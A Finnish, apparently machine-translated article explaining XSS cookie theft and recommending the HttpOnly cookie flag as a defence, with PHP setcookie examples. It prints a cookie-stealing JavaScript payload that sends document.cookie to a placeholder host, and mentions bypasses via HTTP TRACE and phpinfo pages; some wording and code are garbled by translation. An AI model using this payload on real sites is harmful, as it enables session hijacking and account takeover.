Www-palveluiden yleistyessä yhä useammat sovellukset ovat siirtyneet B/S-rakenteisiin, jolloin monenlaisiin verkkopalveluihin pääsee käsiksi yhdellä selaimella, mutta tämä johtaa yhä useampiin tietoturvaongelmiin. www-palvelu perustuu Http-protokollaan, Http on tilaton protokolla, joten tiedon siirtämiseksi istuntojen välillä on väistämätöntä käyttää evästeitä, sessioita ja muita teknologioita vierailijan tilan merkitsemiseen, ja olipa kyseessä eväste vai istunto, se toteutetaan yleensä evästeillä (istunto merkitään selaimen evästeessä tunnisteella, Palvelin saa tämän tokenin, tarkistaa sen laillisuuden ja sitoo palvelimelle tallennetun tilan selaimeen), jotta eväste pysyy väistämättä turvallisesti saatavilla, kunhan eväste saadaan, muiden henkilöllisyys voidaan saada, mikä on hienoa tunkeilijoille, erityisesti kun saatu eväste kuuluu korkean etuoikeutetun henkilön, kuten ylläpitäjän, omistukseen, vahinko on vielä suurempi. Monien verkkoturvallisuusongelmien joukossa XSS-haavoittuvuus on erityisen vaarallinen.
Sovelluksissa, kun XSS-haavoittuvuus on olemassa, se tarkoittaa, että muut voivat suorittaa mielivaltaisia JS-skriptejä selaimessasi, ja jos sovellus on avoimen lähdekoodin tai toiminnot julkisia, muut voivat käyttää Ajaxia näiden toimintojen käyttöön, mutta prosessi on usein hankala, erityisesti jos haluat saada jonkun toisen henkilöllisyyden suoraan satunnaista selailua varten. Ei-avoimen lähdekoodin sovelluksissa, kuten joidenkin suurten sivustojen verkkotaustassa (web2.0:n merkittävä ominaisuus on suuri määrä vuorovaikutuksia, käyttäjien täytyy usein olla vuorovaikutuksessa ylläpitäjien kanssa taustalla, kuten bugiraportit tai tiedonvälitys jne.), vaikka vuorovaikutuksen vuoksi voi esiintyä monisivuisia skriptaushaavuksia, mutta taustan ymmärtämisen puutteen vuoksi täydellisen ajax-koodin rakentaminen on mahdotonta, vaikka taustakoodin hakemaan ja palauttamaan se analysoitavaksi, mutta prosessi on myös kömpelö eikä piilotettu. Tällä hetkellä on erittäin tehokasta käyttää xss-haavoittuvuutta evästeiden tai istunnon kaappauksen hankkimiseen, analysoida sovelluksen todennus ja käyttää tiettyjä tekniikoita sekä jopa saada pysyvästi toisen osapuolen henkilöllisyys, vaikka toinen osapuoli poistuisi ohjelmasta.
Miten siis saada eväste- tai sessiokaappauksen? Selaimen dokumenttiobjektissa evästetiedot tallennetaan, ja eväste voidaan hakea käyttämällä js; kunhan saat tämän evästeen, voit saada jonkun toisen henkilöllisyyden. Tyypillinen XSS-hyökkäyslauseke on seuraava:
- xss exp:
- url=document.top.locatio去掉n.href;
- cookie=document.cookie;
- c=new Image();
- c.src=’<a target="_blank">http://www.xxx.net/c.php?c=</a>’+cookie+’&u=’+url;
Jotkut sovellukset voivat ottaa käyttöön selaimen sitomistekniikoita tämän ongelman ratkaisemiseksi, kuten sitomalla evästeet selaimen käyttäjäagenttiin, ja pitää evästeen virheellisenä löydön jälkeen. Tämä menetelmä on osoittautunut tehottomaksi, koska kun tunkeilija varastaa keksin, hänen täytyy olla saanut käyttäjäagentti samaan aikaan. On myös toinen tiukka sääntö, joka sitoo evästeet Remote-addriin (itse asiassa se on sidottu IP-tiedostoon, mutta joillakin ohjelmilla on ongelmia IP-hankinnan kanssa, mikä myös säästää niitä), mutta tämä aiheuttaa erittäin huonon käyttökokemuksen, IP-osoitteen vaihtaminen on yleistä, kuten työ- ja koti-IP ovat kaksi IP-osoitetta, joten tätä menetelmää ei usein käytetä. Siksi evästepohjaiset hyökkäykset ovat nykyään hyvin suosittuja, ja joillakin web 2.0 -sivustoilla on helppo saada sovelluksen ylläpitäjästatus.
Miten pidämme arkaluontoiset keksimme turvassa? Edellä mainitun analyysin kautta yleisiä evästeitä saadaan dokumenttiobjekteista, ja meidän tarvitsee vain tehdä arkaluontoiset evästeet näkymättömiksi selaindokumentissa. Onneksi selaimet hyväksyvät nykyään evästeiden asettamisessa parametrin nimeltä HttpOnly – kuten muutkin parametrit, kuten domain, ja kun tämä HttpOnly on asetettu, et näe evästettä selaimen dokumenttiobjektissa, eikä selain vaikuta lainkaan selaamisen aikana, koska eväste lähetetään selaimen otsikossa (mukaan lukien ajax). Sovellukset eivät yleensä käytä näitä arkaluontoisia evästeitä js:llä, käytämme HttpOnly:tä joihinkin arkaluontoisiin evästeisiin, emmekä aseta joitakin evästeitä, joita js:llä pitäisi käyttää sovelluksessa, mikä takaa evästetietojen turvallisuuden ja sovelluksen turvallisuuden. Lisätietoja HttpOnly -aiheesta löytyy osoitteesta http://msdn2.microsoft.com/en-us/library/ms533046.aspx.
Evästeiden asettamisen otsikko selaimessasi on seuraava:
- Set-Cookie: =[; =]
- [; expires=][; domain=]
- [; path=][; secure][; HttpOnly]
Otetaan esimerkiksi php, tuki HttpOnlylle on lisätty Setcookie-funktioon php 5.2:ssa, esimerkiksi:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
Voit asettaa abc-evästeen HttpVain -muotoon, eikä dokumentti näy tälle evästeelle. Koska setcookie-funktio on pohjimmiltaan otsikko, voit käyttää otsikkoa myös HttpOnlyn asettamiseen. Käytä sitten document.cookie-tiedostoa nähdäksesi, että eväste ei ole enää saatavilla. Käytämme tätä menetelmää suojataksemme Sessionidin, kuten joitakin auttoikuusevästeitä autentikointia varten, jotta meidän ei tarvitse huolehtia identiteetin saamisesta, mikä on erittäin tärkeää joillekin taustaohjelmille ja webmailille turvallisuuden parantamiseksi. Kun käytämme yllä olevaa hyökkäysmenetelmää uudelleen, näemme, ettemme enää voi saada arkaluontoisia evästeitä, jotka olemme asettaneet HttpOnlyksi.
Kuitenkin on myös nähtävissä, että HttpOnly ei ole kaikkivaltias, ensinnäkin se ei pysty ratkaisemaan xss-ongelmaa, se ei silti pysty vastustamaan joidenkin kärsivällisten hakkereiden hyökkäyksiä, eikä se voi estää tunkeilijoita tekemästä ajax-lähetyksiä, ja jopa joitakin xss-pohjaisia proxyjä on ilmestynyt, mutta hyökkäysten kynnystä on voitu nostaa – ainakaan xss-hyökkäyksiä ei suoriteta kaikilla skriptilapsilla, ja muut hyökkäysmenetelmät johtuvat ympäristö- ja teknisistä rajoitteista. Se ei ole yhtä yleistä kuin keksien varastaminen.
HttpOnly voi myös hyödyntää joitakin haavoittuvuuksia tai konfiguroida Bypassin, mutta tärkein ongelma on, että kunhan saat evästeotsikon lähetettyä selaimesta. Esimerkiksi edellinen Http Trace -hyökkäys voi palauttaa evästeen otsikossasi, ja tämä hyökkäys voidaan suorittaa käyttämällä ajaxia tai flashia, jotka on myös päivitetty ajaxissa ja flashissa. Toinen merkittävä esimerkki mahdollisesta ohituksesta konfiguraatiossa tai sovelluksessa on phpinfo; kuten tiedät, phpinfo näyttää selaimen lähettämän http-otsikon, mukaan lukien suojatun todennustiedot, ja tämä sivu löytyy usein eri sivustoilta. Kunhan käytät ajaxia saadaksesi phpinfo-sivun, poista otsikon otsikkoa vastaava osa saadaksesi evästeen. Joidenkin sovellusten epätäydellisyydet voivat myös johtaa otsikon vuotoon, jota voidaan hyökätä yhtä voimakkaasti kuin sivua, joka on suojattu perusvarmistuksella.
HttpOnly on paremmin tuettu IE 6:ssa ja uudemmissa versioissa, ja sitä käytetään laajasti sovelluksissa kuten Hotmail, ja se on saavuttanut suhteellisen hyvät tietoturvatulokset.
|
Julkaistu 3.6.2015 20.57.48
|
|
|
